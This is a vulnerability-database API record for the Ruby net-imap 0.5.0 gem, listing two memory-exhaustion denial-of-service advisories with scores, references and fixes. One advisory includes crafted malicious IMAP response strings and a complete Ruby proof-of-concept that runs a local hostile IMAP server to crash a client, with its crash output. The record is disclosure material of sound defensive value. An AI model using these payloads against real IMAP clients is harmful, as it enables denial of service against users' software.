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GET /api/packages/139901?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/139901?format=api", "purl": "pkg:gem/net-imap@0.5.0", "type": "gem", "namespace": "", "name": "net-imap", "version": "0.5.0", "qualifiers": {}, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": null, "latest_non_vulnerable_version": null, "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/25420?format=api", "vulnerability_id": "VCID-5zsx-353j-8kax", "summary": "net-imap rubygem vulnerable to possible DoS by memory exhaustion\n### Summary\n\nThere is a possibility for denial of service by memory exhaustion when `net-imap` reads server responses. At any time while the client is connected, a malicious server can send can send a \"literal\" byte count, which is automatically read by the client's receiver thread. The response reader immediately allocates memory for the number of bytes indicated by the server response.\n\nThis should not be an issue when securely connecting to trusted IMAP servers that are well-behaved. It can affect insecure connections and buggy, untrusted, or compromised servers (for example, connecting to a user supplied hostname).\n\n### Details\n\nThe IMAP protocol allows \"literal\" strings to be sent in responses, prefixed with their size in curly braces (e.g. `{1234567890}\\r\\n`). When `Net::IMAP` receives a response containing a literal string, it calls `IO#read` with that size. When called with a size, `IO#read` immediately allocates memory to buffer the entire string before processing continues. The server does not need to send any more data. There is no limit on the size of literals that will be accepted.\n\n### Fix\n#### Upgrade\nUsers should upgrade to `net-imap` 0.5.7 or later. A configurable `max_response_size` limit has been added to `Net::IMAP`'s response reader. The `max_response_size` limit has also been backported to `net-imap` 0.2.5, 0.3.9, and 0.4.20.\n\nTo set a global value for `max_response_size`, users must upgrade to `net-imap` ~> 0.4.20, or > 0.5.7.\n\n#### Configuration\n\nTo avoid backward compatibility issues for secure connections to trusted well-behaved servers, the default `max_response_size` for `net-imap` 0.5.7 is _very high_ (512MiB), and the default `max_response_size` for `net-imap` ~> 0.4.20, ~> 0.3.9, and 0.2.5 is `nil` (unlimited).\n\nWhen connecting to untrusted servers or using insecure connections, a much lower `max_response_size` should be used.\n```ruby\n# Set the global max_response_size (only ~> v0.4.20, > 0.5.7)\nNet::IMAP.config.max_response_size = 256 << 10 # 256 KiB\n\n# Set when creating the connection\nimap = Net::IMAP.new(hostname, ssl: true,\n max_response_size: 16 << 10) # 16 KiB\n\n# Set after creating the connection\nimap.max_response_size = 256 << 20 # 256 KiB\n# flush currently waiting read, to ensure the new setting is loaded\nimap.noop\n```\n\n_**Please Note:**_ `max_response_size` only limits the size _per response_. It does not prevent a flood of individual responses and it does not limit how many unhandled responses may be stored on the responses hash. Users are responsible for adding response handlers to prune excessive unhandled responses.\n\n#### Compatibility with lower `max_response_size`\n\nA lower `max_response_size` may cause a few commands which legitimately return very large responses to raise an exception and close the connection. The `max_response_size` could be temporarily set to a higher value, but paginated or limited versions of commands should be used whenever possible. For example, to fetch message bodies:\n\n```ruby\nimap.max_response_size = 256 << 20 # 256 KiB\nimap.noop # flush currently waiting read\n\n# fetch a message in 252KiB chunks\nsize = imap.uid_fetch(uid, \"RFC822.SIZE\").first.rfc822_size\nlimit = 252 << 10\nmessage = ((0..size) % limit).each_with_object(\"\") {|offset, str|\n str << imap.uid_fetch(uid, \"BODY.PEEK[]<#{offset}.#{limit}>\").first.message(offset:)\n}\n\nimap.max_response_size = 16 << 20 # 16 KiB\nimap.noop # flush currently waiting read\n```\n\n### References\n\n* PR to introduce max_response_size: https://github.com/ruby/net-imap/pull/444\n * Specific commit: [0ae8576c1 - lib/net/imap/response_reader.rb](https://github.com/ruby/net-imap/pull/444/commits/0ae8576c1a90bcd9573f81bdad4b4b824642d105#diff-53721cb4d9c3fb86b95cc8476ca2df90968ad8c481645220c607034399151462)\n* Backport to 0.4: https://github.com/ruby/net-imap/pull/445\n* Backport to 0.3: https://github.com/ruby/net-imap/pull/446\n* Backport to 0.2: https://github.com/ruby/net-imap/pull/447", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-43857.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-43857.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-43857", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00528", "scoring_system": "epss", "scoring_elements": "0.67186", "published_at": "2026-04-24T12:55:00Z" }, { "value": "0.00528", "scoring_system": "epss", "scoring_elements": "0.67166", "published_at": "2026-04-21T12:55:00Z" }, { "value": "0.00528", "scoring_system": "epss", "scoring_elements": "0.67185", "published_at": "2026-04-18T12:55:00Z" }, { "value": "0.00528", "scoring_system": "epss", "scoring_elements": "0.67101", "published_at": "2026-04-07T12:55:00Z" }, { "value": "0.00528", "scoring_system": "epss", "scoring_elements": "0.67102", "published_at": "2026-04-02T12:55:00Z" }, { "value": "0.00528", "scoring_system": "epss", "scoring_elements": "0.67182", "published_at": "2026-04-11T12:55:00Z" }, { "value": "0.00528", "scoring_system": "epss", "scoring_elements": "0.67137", "published_at": "2026-04-13T12:55:00Z" }, { "value": "0.00528", "scoring_system": "epss", "scoring_elements": "0.67168", "published_at": "2026-04-12T12:55:00Z" }, { "value": "0.00528", "scoring_system": "epss", "scoring_elements": "0.6715", "published_at": "2026-04-08T12:55:00Z" }, { "value": "0.00528", "scoring_system": "epss", "scoring_elements": "0.67163", "published_at": "2026-04-09T12:55:00Z" }, { "value": "0.00528", "scoring_system": "epss", "scoring_elements": "0.67126", "published_at": "2026-04-04T12:55:00Z" }, { "value": "0.00528", "scoring_system": "epss", "scoring_elements": "0.67171", "published_at": "2026-04-16T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-43857" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/ruby/net-imap", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ruby/net-imap" }, { "reference_url": "https://github.com/ruby/net-imap/pull/442", "reference_id": "", "reference_type": "", "scores": [ { "value": "6", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-04-28T17:59:30Z/" } ], "url": "https://github.com/ruby/net-imap/pull/442" }, { "reference_url": "https://github.com/ruby/net-imap/pull/444", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ruby/net-imap/pull/444" }, { "reference_url": "https://github.com/ruby/net-imap/pull/444/commits/0ae8576c1a90bcd9573f81bdad4b4b824642d105#diff-53721cb4d9c3fb86b95cc8476ca2df90968ad8c481645220c607034399151462", "reference_id": "", "reference_type": "", "scores": [ { "value": "6", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-04-28T17:59:30Z/" } ], "url": "https://github.com/ruby/net-imap/pull/444/commits/0ae8576c1a90bcd9573f81bdad4b4b824642d105#diff-53721cb4d9c3fb86b95cc8476ca2df90968ad8c481645220c607034399151462" }, { "reference_url": "https://github.com/ruby/net-imap/pull/445", "reference_id": "", "reference_type": "", "scores": [ { "value": "6", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-04-28T17:59:30Z/" } ], "url": "https://github.com/ruby/net-imap/pull/445" }, { "reference_url": "https://github.com/ruby/net-imap/pull/446", "reference_id": "", "reference_type": "", "scores": [ { "value": "6", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-04-28T17:59:30Z/" } ], "url": "https://github.com/ruby/net-imap/pull/446" }, { "reference_url": "https://github.com/ruby/net-imap/pull/447", "reference_id": "", "reference_type": "", "scores": [ { "value": "6", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-04-28T17:59:30Z/" } ], "url": "https://github.com/ruby/net-imap/pull/447" }, { "reference_url": "https://github.com/ruby/net-imap/security/advisories/GHSA-j3g3-5qv5-52mj", "reference_id": "", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "6", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-04-28T17:59:30Z/" } ], "url": "https://github.com/ruby/net-imap/security/advisories/GHSA-j3g3-5qv5-52mj" }, { "reference_url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2025-43857.yml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2025-43857.yml" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43857", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43857" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1104486", "reference_id": "1104486", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1104486" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2362749", "reference_id": "2362749", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2362749" }, { "reference_url": "https://github.com/advisories/GHSA-j3g3-5qv5-52mj", "reference_id": "GHSA-j3g3-5qv5-52mj", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-j3g3-5qv5-52mj" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/68651?format=api", "purl": "pkg:gem/net-imap@0.5.7", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-5zsx-353j-8kax" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/net-imap@0.5.7" } ], "aliases": [ "CVE-2025-43857", "GHSA-j3g3-5qv5-52mj" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-5zsx-353j-8kax" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/26875?format=api", "vulnerability_id": "VCID-wyjh-cuuy-zbeb", "summary": "Possible DoS by memory exhaustion in net-imap\n### Summary\nThere is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client's receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges.\n\n### Details\nIMAP's `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `\"1,2,3,4,5\"` and `\"1:5\"` both represent the same set. When `Net::IMAP::ResponseParser` receives `APPENDUID` or `COPYUID` response codes, it expands each `uid-set` into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted `APPENDUID` or `COPYUID` responses with very large `uid-set` ranges.\n\nThe `Net::IMAP` client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the `APPENDUID` or `COPYUID` responses.\n\nMalicious inputs:\n\n```ruby\n# 40 bytes expands to ~1.6GB:\n\"* OK [COPYUID 1 1:99999999 1:99999999]\\r\\n\"\n\n# Worst *valid* input scenario (using uint32 max),\n# 44 bytes expands to 64GiB:\n\"* OK [COPYUID 1 1:4294967295 1:4294967295]\\r\\n\"\n\n# Numbers must be non-zero uint32, but this isn't validated. Arrays larger than\n# UINT32_MAX can be created. For example, the following would theoretically\n# expand to almost 800 exabytes:\n\"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\\r\\n\"\n```\n\nSimple way to test this:\n```ruby\nrequire \"net/imap\"\n\ndef test(size)\n input = \"A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\\r\\n\"\n parser = Net::IMAP::ResponseParser.new\n parser.parse input\nend\n\ntest(99_999_999)\n```\n\n### Fixes\n\n#### Preferred Fix, minor API changes\nUpgrade to v0.4.19, v0.5.6, or higher, and configure:\n```ruby\n# globally\nNet::IMAP.config.parser_use_deprecated_uidplus_data = false\n# per-client\nimap = Net::IMAP.new(hostname, ssl: true,\n parser_use_deprecated_uidplus_data: false)\nimap.config.parser_use_deprecated_uidplus_data = false\n```\n\nThis replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`. These classes store their UIDs as `Net::IMAP::SequenceSet` objects (_not_ expanded into arrays of integers). Code that does not handle `APPENDUID` or `COPYUID` responses will not notice any difference. Code that does handle these responses _may_ need to be updated. See the documentation for [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html), [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html) and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html).\n\nFor v0.3.8, this option is not available.\nFor v0.4.19, the default value is `true`.\nFor v0.5.6, the default value is `:up_to_max_size`.\nFor v0.6.0, the only allowed value will be `false` _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Mitigation, backward compatible API\nUpgrade to v0.3.8, v0.4.19, v0.5.6, or higher.\n\nFor backward compatibility, `uid-set` can still be expanded into an array, but a maximum limit will be applied.\n\nAssign `config.parser_max_deprecated_uidplus_data_size` to set the maximum `UIDPlusData` UID set size.\nWhen `config.parser_use_deprecated_uidplus_data == true`, larger sets will raise `Net::IMAP::ResponseParseError`.\nWhen `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, larger sets will use `AppendUIDData` or `CopyUIDData`.\n\nFor v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets will always raise `Net::IMAP::ResponseParseError`.\nFor v0.4.19, the limit defaults to 1000.\nFor v0.5.6, the limit defaults to 100.\nFor v0.6.0, the limit will be ignored _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Please Note: unhandled responses\nIf the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. _This is not significantly different from connecting to a trusted server with a long-lived connection._ To limit the maximum number of retained responses, a simple handler might look something like the following:\n\n ```ruby\n limit = 1000\n imap.add_response_handler do |resp|\n next unless resp.respond_to?(:name) && resp.respond_to?(:data)\n name = resp.name\n code = resp.data.code&.name if resp.data.respond_to?(:code)\n if Net::IMAP::VERSION > \"0.4.0\"\n imap.responses(name) { _1.slice!(0...-limit) }\n imap.responses(code) { _1.slice!(0...-limit) }\n else\n imap.responses(name).slice!(0...-limit)\n imap.responses(code).slice!(0...-limit)\n end\n end\n ```\n\n### Proof of concept\n\nSave the following to a ruby file (e.g: `poc.rb`) and make it executable:\n```ruby\n#!/usr/bin/env ruby\nrequire 'socket'\nrequire 'net/imap'\n\nif !defined?(Net::IMAP.config)\n puts \"Net::IMAP.config is not available\"\nelsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)\n puts \"Net::IMAP.config.parser_use_deprecated_uidplus_data is not available\"\nelse\n Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size\n puts \"Updated parser_use_deprecated_uidplus_data to :up_to_max_size\"\nend\n\nsize = Integer(ENV[\"UID_SET_SIZE\"] || 2**32-1)\n\ndef server_addr\n Addrinfo.tcp(\"localhost\", 0).ip_address\nend\n\ndef create_tcp_server\n TCPServer.new(server_addr, 0)\nend\n\ndef start_server\n th = Thread.new do\n yield\n end\n sleep 0.1 until th.stop?\nend\n\ndef copyuid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n \"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\\r\\n\"\nend\n\ndef appenduid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n \"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\\r\\n\"\nend\n\nserver = create_tcp_server\nport = server.addr[1]\nputs \"Server started on port #{port}\"\n\n# server\nstart_server do\n sock = server.accept\n begin\n sock.print \"* OK test server\\r\\n\"\n cmd = sock.gets(\"\\r\\n\", chomp: true)\n tag = cmd.match(/\\A(\\w+) /)[1]\n puts \"Received: #{cmd}\"\n\n malicious_response = appenduid_response(size:)\n puts \"Sending: #{malicious_response.chomp}\"\n sock.print malicious_response\n\n malicious_response = copyuid_response(size:)\n puts \"Sending: #{malicious_response.chomp}\"\n sock.print malicious_response\n sock.print \"* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\\r\\n\"\n sock.print \"#{tag} OK CAPABILITY completed\\r\\n\"\n\n cmd = sock.gets(\"\\r\\n\", chomp: true)\n tag = cmd.match(/\\A(\\w+) /)[1]\n puts \"Received: #{cmd}\"\n sock.print \"* BYE If you made it this far, you passed the test!\\r\\n\"\n sock.print \"#{tag} OK LOGOUT completed\\r\\n\"\n rescue Exception => ex\n puts \"Error in server: #{ex.message} (#{ex.class})\"\n ensure\n sock.close\n server.close\n end\nend\n\n# client\nbegin\n puts \"Client connecting,..\"\n imap = Net::IMAP.new(server_addr, port: port)\n puts \"Received capabilities: #{imap.capability}\"\n pp responses: imap.responses\n imap.logout\nrescue Exception => ex\n puts \"Error in client: #{ex.message} (#{ex.class})\"\n puts ex.full_message\nensure\n imap.disconnect if imap\nend\n```\n\nUse `ulimit` to limit the process's virtual memory. The following example limits virtual memory to 1GB:\n```console\n$ ( ulimit -v 1000000 && exec ./poc.rb )\nServer started on port 34291\nClient connecting,..\nReceived: RUBY0001 CAPABILITY\nSending: * OK [APPENDUID 1 1:4294967295] too large?\nSending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?\nError in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET)\nError in client: failed to allocate memory (NoMemoryError)\n/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)\n from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'\n from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'\n from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'\n from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'\n from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'\n from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'\n from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'\n from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'\n from /workspace/poc.rb:70:in '<main>'\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-25186.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-25186.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-25186", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00135", "scoring_system": "epss", "scoring_elements": "0.33033", "published_at": "2026-04-24T12:55:00Z" }, { "value": "0.00135", "scoring_system": "epss", "scoring_elements": "0.33179", "published_at": "2026-04-21T12:55:00Z" }, { "value": "0.00135", "scoring_system": "epss", "scoring_elements": "0.33215", "published_at": "2026-04-18T12:55:00Z" }, { "value": "0.00135", "scoring_system": "epss", "scoring_elements": "0.33238", "published_at": "2026-04-16T12:55:00Z" }, { "value": "0.00135", "scoring_system": "epss", "scoring_elements": "0.33199", "published_at": "2026-04-13T12:55:00Z" }, { "value": "0.00135", "scoring_system": "epss", "scoring_elements": "0.33222", "published_at": "2026-04-12T12:55:00Z" }, { "value": "0.00135", "scoring_system": "epss", "scoring_elements": "0.33317", "published_at": "2026-04-02T12:55:00Z" }, { "value": "0.00135", "scoring_system": "epss", "scoring_elements": "0.3335", "published_at": "2026-04-04T12:55:00Z" }, { "value": "0.00135", "scoring_system": "epss", "scoring_elements": "0.33182", "published_at": "2026-04-07T12:55:00Z" }, { "value": "0.00135", "scoring_system": "epss", "scoring_elements": "0.33225", "published_at": "2026-04-08T12:55:00Z" }, { "value": "0.00135", "scoring_system": "epss", "scoring_elements": "0.33263", "published_at": "2026-04-11T12:55:00Z" }, { "value": "0.00135", "scoring_system": "epss", "scoring_elements": "0.33259", "published_at": "2026-04-09T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-25186" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/ruby/net-imap", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ruby/net-imap" }, { "reference_url": "https://github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-10T16:13:53Z/" } ], "url": "https://github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35" }, { "reference_url": "https://github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-10T16:13:53Z/" } ], "url": "https://github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3" }, { "reference_url": "https://github.com/ruby/net-imap/commit/cb92191b1ddce2d978d01b56a0883b6ecf0b1022", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": 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"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-10T16:13:53Z/" } ], "url": "https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69" }, { "reference_url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2025-25186.yml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2025-25186.yml" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25186", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "6.0", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25186" }, { "reference_url": "https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "6.0", "scoring_system": "cvssv4", 